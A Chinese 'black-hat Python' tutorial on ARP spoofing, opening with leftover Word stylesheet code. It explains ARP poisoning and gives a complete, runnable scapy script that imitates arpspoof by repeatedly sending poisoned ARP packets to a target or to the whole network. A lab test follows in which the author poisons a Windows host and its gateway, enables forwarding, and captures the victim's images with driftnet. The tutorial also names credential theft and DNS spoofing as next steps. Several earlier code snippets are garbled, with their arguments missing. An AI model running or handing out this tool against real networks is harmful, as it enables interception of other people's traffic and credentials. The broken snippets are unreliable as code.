Python黑帽编程 3.1 ARP欺骗

2022-12-09,,,,

<!--
/* Font Definitions */
@font-face
{font-family:Wingdings;
panose-1:5 0 0 0 0 0 0 0 0 0;}
@font-face
{font-family:宋体;
panose-1:2 1 6 0 3 1 1 1 1 1;}
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;}
@font-face
{font-family:微软雅黑;
panose-1:2 11 5 3 2 2 4 2 2 4;}
@font-face
{font-family:华文隶书;
panose-1:2 1 8 0 4 1 1 1 1 1;}
@font-face
{font-family:Consolas;
panose-1:2 11 6 9 2 2 4 3 2 4;}
@font-face
{font-family:"\@微软雅黑";
panose-1:2 11 5 3 2 2 4 2 2 4;}
@font-face
{font-family:"\@宋体";
panose-1:2 1 6 0 3 1 1 1 1 1;}
@font-face
{font-family:"\@华文隶书";
panose-1:2 1 8 0 4 1 1 1 1 1;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}

h2
{mso-style-link:"标题 2 Char";
margin-top:2.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-align:center;
text-indent:10.0pt;
background:#DBE5F1;
border:none;
padding:0cm;
font-size:14.0pt;
font-family:"Calibri",sans-serif;
text-transform:uppercase;
letter-spacing:.75pt;
font-weight:normal;}
h3
{mso-style-link:"标题 3 Char";
margin-top:15.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
border:none;
padding:0cm;
font-size:11.0pt;
font-family:"Calibri",sans-serif;
color:#243F60;
letter-spacing:.75pt;
font-weight:bold;}
h4
{mso-style-name:"标题 4\,代码";
mso-style-link:"标题 4 Char\,代码 Char";
margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:24.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
font-weight:normal;}
h5
{mso-style-link:"标题 5 Char";
margin-top:15.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
border:none;
padding:0cm;
font-size:11.0pt;
font-family:"Calibri",sans-serif;
color:#244061;
letter-spacing:.5pt;
font-weight:bold;}
h6
{mso-style-link:"标题 6 Char";
margin-top:15.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
border:none;
padding:0cm;
font-size:11.0pt;
font-family:"Calibri",sans-serif;
color:#365F91;
text-transform:uppercase;
letter-spacing:.5pt;
font-weight:normal;}
p.MsoHeading7, li.MsoHeading7, div.MsoHeading7
{mso-style-link:"标题 7 Char";
margin-top:15.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:11.0pt;
font-family:"Calibri",sans-serif;
color:#365F91;
text-transform:uppercase;
letter-spacing:.5pt;}
p.MsoHeading8, li.MsoHeading8, div.MsoHeading8
{mso-style-link:"标题 8 Char";
margin-top:15.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:9.0pt;
font-family:"Calibri",sans-serif;
text-transform:uppercase;
letter-spacing:.5pt;}
p.MsoHeading9, li.MsoHeading9, div.MsoHeading9
{mso-style-link:"标题 9 Char";
margin-top:15.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:9.0pt;
font-family:"Calibri",sans-serif;
text-transform:uppercase;
letter-spacing:.5pt;
font-style:italic;}
p.MsoToc1, li.MsoToc1, div.MsoToc1
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoToc2, li.MsoToc2, div.MsoToc2
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:21.0pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoToc3, li.MsoToc3, div.MsoToc3
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:42.0pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoHeader, li.MsoHeader, div.MsoHeader
{mso-style-link:"页眉 Char";
margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-align:center;
text-indent:10.0pt;
layout-grid-mode:char;
border:none;
padding:0cm;
font-size:9.0pt;
font-family:"Calibri",sans-serif;}
p.MsoFooter, li.MsoFooter, div.MsoFooter
{mso-style-link:"页脚 Char";
margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:10.0pt;
layout-grid-mode:char;
font-size:9.0pt;
font-family:"Calibri",sans-serif;}
p.MsoCaption, li.MsoCaption, div.MsoCaption
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:10.0pt;
font-size:8.0pt;
font-family:"Calibri",sans-serif;
color:#365F91;
font-weight:bold;}
p.MsoTitle, li.MsoTitle, div.MsoTitle
{mso-style-link:"标题 Char";
margin-top:36.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:10.0pt;
font-size:26.0pt;
font-family:"Calibri",sans-serif;
color:#4F81BD;
text-transform:uppercase;
letter-spacing:.5pt;}
p.MsoSubtitle, li.MsoSubtitle, div.MsoSubtitle
{mso-style-link:"副标题 Char";
margin-top:2.0pt;
margin-right:0cm;
margin-bottom:50.0pt;
margin-left:0cm;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
color:#595959;
text-transform:uppercase;
letter-spacing:.5pt;}
a:link, span.MsoHyperlink
{color:blue;
text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
{color:purple;
text-decoration:underline;}
em
{color:#243F60;
text-transform:uppercase;
letter-spacing:.25pt;
font-style:normal;}
p.MsoDocumentMap, li.MsoDocumentMap, div.MsoDocumentMap
{mso-style-link:"文档结构图 Char";
margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:10.0pt;
font-size:9.0pt;
font-family:宋体;}
p
{margin-right:0cm;
margin-left:0cm;
font-size:12.0pt;
font-family:宋体;}
code
{font-family:宋体;}
pre
{mso-style-link:"HTML 预设格式 Char";
margin:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:宋体;}
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
{mso-style-link:"批注框文本 Char";
margin:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:9.0pt;
font-family:"Calibri",sans-serif;}
p.MsoNoSpacing, li.MsoNoSpacing, div.MsoNoSpacing
{mso-style-link:"无间隔 Char";
margin:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:36.0pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:36.0pt;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle
{margin-top:0cm;
margin-right:0cm;
margin-bottom:0cm;
margin-left:36.0pt;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast
{margin-top:0cm;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:36.0pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoQuote, li.MsoQuote, div.MsoQuote
{mso-style-link:"引用 Char";
margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
font-style:italic;}
p.MsoIntenseQuote, li.MsoIntenseQuote, div.MsoIntenseQuote
{mso-style-link:"明显引用 Char";
margin-top:2.0pt;
margin-right:57.6pt;
margin-bottom:0cm;
margin-left:64.8pt;
margin-bottom:.0001pt;
text-align:justify;
text-justify:inter-ideograph;
text-indent:10.0pt;
border:none;
padding:0cm;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
color:#4F81BD;
font-style:italic;}
span.MsoSubtleEmphasis
{color:#243F60;
font-style:italic;}
span.MsoIntenseEmphasis
{color:#243F60;
text-transform:uppercase;
letter-spacing:.5pt;
font-weight:bold;}
span.MsoSubtleReference
{color:#4F81BD;
font-weight:bold;}
span.MsoIntenseReference
{color:#4F81BD;
text-transform:uppercase;
font-weight:bold;
font-style:italic;}
span.MsoBookTitle
{letter-spacing:.45pt;
font-weight:bold;
font-style:italic;}
p.MsoTocHeading, li.MsoTocHeading, div.MsoTocHeading
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-align:center;
text-indent:10.0pt;
background:#4F81BD;
border:none;
padding:0cm;
font-size:24.0pt;
font-family:"Calibri",sans-serif;
color:white;
text-transform:uppercase;
letter-spacing:.75pt;
font-weight:bold;}
span.Char
{mso-style-name:"页眉 Char";
mso-style-link:页眉;}
span.Char0
{mso-style-name:"页脚 Char";
mso-style-link:页脚;}
span.1Char
{mso-style-name:"标题 1 Char";
mso-style-link:"标题 1";
font-family:"微软雅黑",sans-serif;
color:white;
text-transform:uppercase;
letter-spacing:.75pt;
background:#4F81BD;
font-weight:bold;}
span.Char1
{mso-style-name:"文档结构图 Char";
mso-style-link:文档结构图;
font-family:宋体;}
span.2Char
{mso-style-name:"标题 2 Char";
mso-style-link:"标题 2";
font-family:华文隶书;
text-transform:uppercase;
letter-spacing:.75pt;
background:#DBE5F1;}
span.3Char
{mso-style-name:"标题 3 Char";
mso-style-link:"标题 3";
color:#243F60;
letter-spacing:.75pt;
font-weight:bold;}
span.4Char
{mso-style-name:"标题 4 Char\,代码 Char";
mso-style-link:"标题 4\,代码";}
span.5Char
{mso-style-name:"标题 5 Char";
mso-style-link:"标题 5";
color:#244061;
letter-spacing:.5pt;
font-weight:bold;}
span.6Char
{mso-style-name:"标题 6 Char";
mso-style-link:"标题 6";
color:#365F91;
text-transform:uppercase;
letter-spacing:.5pt;}
span.7Char
{mso-style-name:"标题 7 Char";
mso-style-link:"标题 7";
color:#365F91;
text-transform:uppercase;
letter-spacing:.5pt;}
span.8Char
{mso-style-name:"标题 8 Char";
mso-style-link:"标题 8";
text-transform:uppercase;
letter-spacing:.5pt;}
span.9Char
{mso-style-name:"标题 9 Char";
mso-style-link:"标题 9";
text-transform:uppercase;
letter-spacing:.5pt;
font-style:italic;}
span.Char2
{mso-style-name:"标题 Char";
mso-style-link:标题;
color:#4F81BD;
text-transform:uppercase;
letter-spacing:.5pt;}
span.Char3
{mso-style-name:"副标题 Char";
mso-style-link:副标题;
color:#595959;
text-transform:uppercase;
letter-spacing:.5pt;}
span.Char4
{mso-style-name:"无间隔 Char";
mso-style-link:无间隔;}
span.Char5
{mso-style-name:"引用 Char";
mso-style-link:引用;
font-style:italic;}
span.Char6
{mso-style-name:"明显引用 Char";
mso-style-link:明显引用;
color:#4F81BD;
font-style:italic;}
span.Char7
{mso-style-name:"批注框文本 Char";
mso-style-link:批注框文本;}
span.HTMLChar
{mso-style-name:"HTML 预设格式 Char";
mso-style-link:"HTML 预设格式";
font-family:宋体;}
span.Char8
{mso-style-name:"编号 Char";
mso-style-link:编号;
font-family:"Times New Roman",serif;}
p.a, li.a, div.a
{mso-style-name:编号;
mso-style-link:"编号 Char";
margin:0cm;
margin-bottom:.0001pt;
text-indent:0cm;
line-height:150%;
font-size:10.5pt;
font-family:"Times New Roman",serif;}
span.sentence
{mso-style-name:sentence;}
p.a0, li.a0, div.a0
{mso-style-name:图;
mso-style-link:"图 Char";
margin:0cm;
margin-bottom:.0001pt;
text-align:center;
text-indent:24.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
span.Char9
{mso-style-name:"图 Char";
mso-style-link:图;}
span.apple-converted-space
{mso-style-name:apple-converted-space;}
span.cp
{mso-style-name:cp;}
span.nt
{mso-style-name:nt;}
span.nb
{mso-style-name:nb;}
span.p
{mso-style-name:p;}
span.nx
{mso-style-name:nx;}
span.s2
{mso-style-name:s2;}
span.kc
{mso-style-name:kc;}
span.mi
{mso-style-name:mi;}
span.kd
{mso-style-name:kd;}
span.o
{mso-style-name:o;}
span.na
{mso-style-name:na;}
span.s
{mso-style-name:s;}
span.s1
{mso-style-name:s1;}
p.code, li.code, div.code
{mso-style-name:code;
mso-style-link:"code Char";
margin-top:5.25pt;
margin-right:0cm;
margin-bottom:5.25pt;
margin-left:0cm;
text-indent:20.15pt;
line-height:10.0pt;
background:#F8F8F8;
border:none;
padding:0cm;
font-size:10.0pt;
font-family:Consolas;
color:#333333;}
span.k
{mso-style-name:k;}
span.codeChar
{mso-style-name:"code Char";
mso-style-link:code;
font-family:Consolas;
color:#333333;
background:#F8F8F8;}
span.c1
{mso-style-name:c1;}
span.pln
{mso-style-name:pln;}
p.a1, li.a1, div.a1
{mso-style-name:命令行;
mso-style-link:"命令行 Char";
margin-top:5.25pt;
margin-right:0cm;
margin-bottom:5.25pt;
margin-left:0cm;
text-indent:20.15pt;
line-height:10.0pt;
background:black;
border:none;
padding:0cm;
font-size:10.0pt;
font-family:Consolas;
color:white;}
span.Chara
{mso-style-name:"命令行 Char";
mso-style-link:命令行;
font-family:Consolas;
color:white;
background:black;
font-weight:normal;}
p.2, li.2, div.2
{mso-style-name:命令2;
mso-style-link:"命令2 Char";
margin-top:0cm;
margin-right:0cm;
margin-bottom:15.0pt;
margin-left:0cm;
text-indent:22.1pt;
background:#3C3C3C;
border:none;
padding:0cm;
font-size:11.0pt;
font-family:宋体;
color:white;}
span.pre
{mso-style-name:pre;}
span.2Char0
{mso-style-name:"命令2 Char";
mso-style-link:命令2;
font-family:宋体;
color:white;
background:#3C3C3C;}
p.first, li.first, div.first
{mso-style-name:first;
margin-right:0cm;
margin-left:0cm;
font-size:12.0pt;
font-family:宋体;}
p.last, li.last, div.last
{mso-style-name:last;
margin-right:0cm;
margin-left:0cm;
font-size:12.0pt;
font-family:宋体;}
span.n
{mso-style-name:n;}
span.bp
{mso-style-name:bp;}
span.ow
{mso-style-name:ow;}
span.nf
{mso-style-name:nf;}
span.mf
{mso-style-name:mf;}
span.sd
{mso-style-name:sd;}
span.nc
{mso-style-name:nc;}
span.si
{mso-style-name:si;}
span.se
{mso-style-name:se;}
span.kn
{mso-style-name:kn;}
span.nn
{mso-style-name:nn;}
span.ne
{mso-style-name:ne;}
span.c
{mso-style-name:c;}
span.colorh1
{mso-style-name:color_h1;}
span.pun
{mso-style-name:pun;}
span.str
{mso-style-name:str;}
span.com
{mso-style-name:com;}
span.kwd
{mso-style-name:kwd;}
span.lit
{mso-style-name:lit;}
span.typ
{mso-style-name:typ;}
span.pl-k
{mso-style-name:pl-k;}
span.pl-c1
{mso-style-name:pl-c1;}
span.pl-v
{mso-style-name:pl-v;}
span.pl-s
{mso-style-name:pl-s;}
span.pl-pds
{mso-style-name:pl-pds;}
.MsoChpDefault
{font-size:11.0pt;
font-family:"Calibri",sans-serif;}
.MsoPapDefault
{margin-top:10.0pt;
margin-right:0cm;
margin-bottom:10.0pt;
margin-left:0cm;
line-height:115%;}
/* Page Definitions */
@page WordSection1
{size:595.3pt 841.9pt;
margin:72.0pt 90.0pt 72.0pt 90.0pt;
layout-grid:15.6pt;}
div.WordSection1
{page:WordSection1;}
/* List Definitions */
ol
{margin-bottom:0cm;}
ul
{margin-bottom:0cm;}
-->

Python灰帽编程 3.1 ARP欺骗

ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据监听、篡改、重放、钓鱼等攻击方式。

在进行ARP欺骗的编码实验之前,我们有必要了解下ARP和ARP欺骗的原理。

3.1.1 ARP和ARP欺骗原理

ARP是地址转换协议(Address Resolution Protocol)的英文缩写,它是一个链路层协议,工作在OSI 模型的第二层,在本层和硬件接口间进行联系,同时对上层(网络层)提供服务。我们知道二层的以太网交换设备并不能识别32位的IP地址,它们是以48位以太网地址(就是我们常说的MAC地址)传输以太网数据包的。也就是说IP数据包在局域网内部传输时并不是靠IP地址而是靠MAC地址来识别目标的,因此IP地址与MAC地址之间就必须存在一种对应关系,而ARP协议就是用来确定这种对应关系的协议。

ARP工作时,首先请求主机会发送出一个含有所希望到达的IP地址的以太网广播数据包,然后目标IP的所有者会以一个含有IP和MAC地址对的数据包应答请求主机。这样请求主机就能获得要到达的IP地址对应的MAC地址,同时请求主机会将这个地址对放入自己的ARP表缓存起来,以节约不必要的ARP通信。ARP缓存表采用了老化机制,在一段时间内如果表中的某一行没有使用,就会被删除。

局域网上的一台主机,如果接收到一个ARP报文,即使该报文不是该主机所发送的ARP请求的应答报文,该主机也会将ARP报文中的发送者的MAC地址和IP地址更新或加入到ARP表中。

ARP欺骗攻击就利用了这点,攻击者主动发送ARP报文,发送者的MAC地址为攻击者主机的MAC地址,发送者的IP地址为被攻击主机的IP地址。通过不断发送这些伪造的ARP报文,让局域网上所有的主机和网关ARP表,其对应的MAC地址均为攻击者的MAC地址,这样所有的网络流量都会发送给攻击者主机。由于ARP欺骗攻击导致了主机和网关的ARP表的不正确,这种情况我们也称为ARP中毒。

根据ARP欺骗者与被欺骗者之间的角色关系的不同,通常可以把ARP欺骗攻击分为如下两种:

1.        主机型ARP欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗

2.        网关型ARP欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗

图2

其实很多时候,我们都是进行双向欺骗,既欺骗主机又欺骗网关。

了解了基本原理之后,我们下面动手实现ARP欺骗程序。

3.1.2 基本网络信息

首先,我们来查看下当前虚拟机Kali Linux的网络配置和ARP缓存。

图3

如图5所示,Kali Linux 以太网卡为eth0,ip地址为192.168.1.102,MAC地址为00:0c:29:6e:98:a6。下面我们再查看Kali Linux的ARP缓存。

图4

下面再用同样的方法查看Windows 系统的信息。

图5

windows本身地址为192.168.1.18,同样缓存了路由器的地址。

下面我们将windows所在主机作为靶机,将Kali Linux所在虚拟机作为攻击机,进行编程测试。

3.1.3 构造ARP欺骗数据包

我们先完成第一个目标,告诉目标主机192.168.1.18网关的地址为Kali Linux所在主机的地址:192.168.1.102。

在程序的顶部,我们先导入scapy。

import sys

import time

from scapy.all import (

get_if_hwaddr,

getmacbyip,

ARP,

Ether,

sendp

)

注意这里面的几个方法,get_if_hwaddr为获取本机网络接口的函数,getmacbyip是通过ip地址获取其Mac地址的方法,ARP是构建ARP数据包的类,Ether用来构建以太网数据包,sendp方法在第二层发送数据包。

我们先解下Ether的参数:

图6

dst        : DestMACField              = (None)

src        : SourceMACField            = (None)

type       : XShortEnumField           = (36864)

构造一个以太网数据包通常需要指定目标和源MAC地址,如果不指定,默认发出的就是广播包,例如:

图7

再来了解下ARP类构造函数的参数列表:

图8

hwtype     : XShortField               = (1)

ptype      : XShortEnumField           = (2048)

hwlen      : ByteField                 = (6)

plen       : ByteField                 = (4)

op         : ShortEnumField            = (1)

hwsrc      : ARPSourceMACField         = (None)

psrc       : SourceIPField             = (None)

hwdst      : MACField                  = ('00:00:00:00:00:00')

pdst       : IPField                   = ('0.0.0.0')

构造ARP需要我们注意的有5个参数:

l  op。取值为1或者2,代表ARP请求或者响应包。

l  hwsrc。发送方Mac地址。

l  psrc。发送方IP地址。

l  hwdst。目标Mac地址。

l  pdst。目标IP地址。

定向欺骗

现在来构造数据包就很容易了,回到我们最初的目标,我们想告诉192.168.1.23这台主机网关地址为192.168.1.102所在的主机,构造的数据包应该是这样的:

pkt = Ether()

上面的代码我们不论是以太网数据包还是ARP数据包,我们都明确指定了来源和目标,在ARP数据包中,我们将Kali Linux的Mac地址和网关的IP地址进行了绑定,op取值为2,作为一个响应包被1. 18接到,这样1. 18会更新自己的ARP缓存表,造成中毒,从而1. 18发往网关的数据包都会被发往1.102。

那么我们如果要欺骗网关,把网关发往1.18的数据包都发送到Kali Linux(1.102)上,根据上面的代码稍作修改即可:

pkt = Ether(地址, )

上面构造的两个数据包都是ARP响应包,其实发送请求包也可以进行毒化,请求包毒化的原理是,我们请求时候使用假的源IP和MAC地址,目标主机同样会更新自己的路由表。

ARP请求的方式欺骗主机,构造的ARP包如下:

pkt = Ether()

ARP请求的方式欺骗网关,构造的ARP包如下:

pkt = Ether(地址, )

我们看到构造ARP请求和响应的主要区别在op的值。

目前我们欺骗的方式都是一对一欺骗的,事实上我们可以发送广播包,对所有主机进行欺骗。

广播欺骗

广播欺骗,首先以太网数据包直接构造一个广播包,ARP包不用填写目标主机的信息即可。

下面是ARP广播响应包的构造方式:

pkt = Ether(], )

最后综合定下和广播欺骗的方式,我们总结一个公式出来:

pkt = Ether((或2))

概念有点绕,实践出真知。

3.1.4 发送数据包

数据包构造完成之后,我们要做的就是发送了,发送数据包这里我们使用sendp方法,该方法描述如下:

   Send packets at layer 2

sendp(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> None

和sendp方法类似的还有一个send方法,两个方法不同的是,sendp方法工作在第二层,send方法工作在第三层。发送构造好的数据包就很简单了:

sendp(pkt, inter, iface=网卡)

3.1.5 打造你的arpspoof

ARP欺骗的核心内容我们已经讲完了,在Kali Linux上有一款常用的ARP欺骗工具叫arpspoof。

图9

(关于arpspoof的使用可以参考我的视频教程《kali linux 渗透测试初级教程》,文末有获取方法。)

虽然我们不知道arpspoof的内部实现代码,但是我们完全可以根据目前掌握的知识,用Python来实现它。废话少说,先上代码:

#!/usr/bin/python

import os

import sys

import signal

from scapy.all import (

get_if_hwaddr,

getmacbyip,

ARP,

Ether,

sendp

)

from optparse import OptionParser

def main():

try:

if os.geteuid() != 0:

print "[-] Run me as root"

sys.exit(1)

except Exception,msg:

print msg

usage = 'Usage: %prog [-i interface] [-t target] host'

parser = OptionParser(usage)

parser.add_option('-i', dest='interface', help='Specify the interface to use')

parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')

parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')

parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')

(options, args) = parser.parse_args()

if len(args) != 1 or options.interface is None:

parser.print_help()

sys.exit(0)

mac = get_if_hwaddr(options.interface)

def build_req():

if options.target is None:

pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])

elif options.target:

target_mac = getmacbyip(options.target)

if target_mac is None:

print "[-] Error: Could not resolve targets MAC address"

sys.exit(1)

pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

return pkt

def build_rep():

if options.target is None:

pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)

elif options.target:

target_mac = getmacbyip(options.target)

if target_mac is None:

print "[-] Error: Could not resolve targets MAC address"

sys.exit(1)

pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)

return pkt

if options.mode == 'req':

pkt = build_req()

elif options.mode == 'rep':

pkt = build_rep()

if options.summary is True:

pkt.show()

ans = raw_input('\n[*] Continue? [Y|n]: ').lower()

if ans == 'y' or len(ans) == 0:

pass

else:

sys.exit(0)

while True:

sendp(pkt, inter=2, iface=options.interface)

if __name__ == '__main__':

main()

代码略微有一点多,不过核心内容没有离开我们上面讲到的内容,现在做个分解。

usage = 'Usage: %prog [-i interface] [-t target] host'

parser = OptionParser(usage)

parser.add_option('-i', dest='interface', help='Specify the interface to use')

parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')

parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')

parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')

(options, args) = parser.parse_args()

if len(args) != 1 or options.interface is None:

parser.print_help()

sys.exit(0)

首先,我们引入了optparse模块,用来格式化用户输入的参数,如果用户输入参数不正确,会打印使用说明。

图10

下面调用了get_if_hwaddr方法,根据参数中传入的网卡,获取本机MAC地址,该MAC地址在构建以太网和ARP数据包的时候做为攻击机的MAC地址被使用。

接下来是build_req方法,和build_rep方法,分别用来构建ARP请求和响应包。两个方法会检查是否指定了目标地址,如果没有就是广播欺骗,如果有就是定下欺骗。两个方法里面使用了getmacbyip方法来根据ip地址获取目标主机的MAC地址。构建数据包的原理我们上面讲的很清楚了,这里就不重复了。

再往下是根据输入的参数,判断应该构建的数据包类型,调用对应的方法。

if options.mode == 'req':

pkt = build_req()

elif options.mode == 'rep':

pkt = build_rep()

if options.summary is True:

pkt.show()

ans = raw_input('\n[*] Continue? [Y|n]: ').lower()

if ans == 'y' or len(ans) == 0:

pass

else:

sys.exit(0)

最后是发送数据包和程序的入口。

while True:

sendp(pkt, inter=2, iface=options.interface)

if __name__ == '__main__':

main()

程序准备妥当,我们保存源码,下面开始测试。

3.1.6 测试

在做ARP欺骗测试的时候,一定要先开启本机的IP转发功能,否则会失败的。执行如下命令:

sysctl net.ipv4.ip_forward=1

图11

下面我们打开终端,对192.168.1.18进行欺骗,告诉它网关为192.168.1.102所在的主机。

图12

在打开一个终端,对网关进行欺骗,告诉网关,192.168.1.18对应的主机为192.168.1.102.

python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18

一段时间之后,我们发现,192.168.1.18的arp缓存发生了变化:

图13

对比图13和图5我们知道arp毒化成功。下面我们来看一下能发捕获到1.18的外网请求信息,使用常用的测试工具driftnet。

图14

下面在1.18上随便打开几个带有图片的网页。

图15

在drifnet上面我们可以看到捕获的图片信息,如图16所示。

图16

证明我们的arp欺骗程序编写成功。

3.1.7 在此基础上我们能做什么

上面的测试,我们知道基于ARP欺骗我们可以做数据监听,能拿到敏感信息,能拿到凭证进行重放攻击,能进行数据篡改,结合调用和DNS欺骗做很多事情。

关于进一步的实战利用,这里我就不展开了,在我的视频教程《Kali Linux web渗透测试基础教程》的第十四课《第14课-arp欺骗、嗅探、dns欺骗、session劫持》讲了很多实用的工具,可以在ARP欺骗的基础上做很多测试。只要在玄魂工作室的微信订阅号(在下方扫码关注)下回复“kali”,会自动回复你免费获取整套教程的方法。

3.1.8 小结

本节比较详细的讲解了基于Scapy进行ARP数据包构建和发送的基础知识,综合这些基础进行ARP欺骗的工具编写,最终完成了一个可用的ARP欺骗工具。

下一节,基于本节的知识,我们编写一个ARP监控工具,来对网络上主机的ARP请求做动态的回应。

3.2节《ARP监控》已经在微信订阅号抢先发布,心急的同学进入订阅号(二维码在下方),从菜单专栏”—>”Python黑帽编程进入即可。

查看完整系列教程,请关注我的微信订阅号(xuanhun521,下方二维码),回复“python”。问题讨论请加qq群:Hacking (1群):303242737   Hacking (2群):147098303。

玄魂工作室-精彩不断

Python黑帽编程 3.1 ARP欺骗的相关教程结束。

《Python黑帽编程 3.1 ARP欺骗.doc》

下载本文的Word格式文档,以方便收藏与打印。